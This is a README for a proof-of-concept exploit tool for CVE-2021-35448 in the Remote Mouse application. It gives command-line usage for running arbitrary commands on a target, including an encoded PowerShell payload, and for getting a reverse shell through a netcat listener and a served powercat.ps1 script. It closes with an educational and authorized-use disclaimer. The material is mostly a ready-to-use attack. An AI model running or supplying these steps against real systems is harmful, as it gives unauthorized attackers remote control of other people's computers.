
POC for CVE-2021-35448 based on https://www.exploit-db.com/exploits/49601
This exploit targets the CVE-2021-35448 vulnerability in the Remote Mouse application (formerly WiFi Mouse).
python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]
-t, --target: Target IP address (required)-p, --payload: Custom command to execute-r, --reverse: Reverse shell in IP:PORT format-l, --http: Local HTTP server in IP:PORT format (required with -r)python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="
# Terminal 1 - Listener
nc -nlvp 4444
# Terminal 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT
CVE-2021-35448.py: Main exploitation scriptpowercat.ps1: PowerShell script for reverse shells⚠️ ETHICAL USE ONLY ⚠️
This tool is intended for educational purposes and authorized penetration testing only. Unauthorized use of this exploit is illegal and may result in legal prosecution.
Developed for educational and ethical penetration testing purposes.
Last updated: 2025